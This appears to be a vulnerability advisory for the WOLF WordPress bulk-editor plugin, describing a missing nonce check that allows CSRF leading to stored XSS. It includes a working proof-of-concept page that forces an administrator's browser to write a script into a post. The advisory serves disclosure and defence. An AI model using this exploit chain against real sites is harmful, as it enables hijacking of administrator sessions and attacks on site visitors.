WOLF – WordPress Posts Bulk Editor and Manager < 1.1.0 – Stored XSS via CSRF | CVE 2026-14234

Description

The plugin does not perform a nonce or capability check on one of its AJAX actions, allowing an unauthenticated attacker to trick a logged-in administrator into writing arbitrary content, including a malicious script, into a post via a cross-site request, resulting in stored Cross-Site Scripting.

Proof of Concept

Prerequisites: a published post exists; the victim is a logged-in Administrator (default config - only an Administrator can write post_content through this action; an Editor would need a non-default plugin "site editor visibility" setting). On single-site installs Administrators/Editors hold unfiltered_html, so a raw <script> persists.

The attacker hosts a page and lures the logged-in admin to open it:
<!doctype html>
<html><body><script>
location = "https://victim.example/wp-admin/admin-ajax.php"
  + "?action=wpbe_redraw_table_row&post_id=6&field=post_content"
  + "&value=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E";
</script></body></html>

The victim's browser issues the authenticated request (no nonce is checked); the post's content becomes:
<script>alert(document.domain)</script>

When anyone (including the admin) views the post, the script executes in the WordPress origin. The handler performs no nonce check and no per-request capability check; sibling handlers in the same plugin do verify nonces. Without unfiltered_html the request still overwrites post_content arbitrarily (integrity).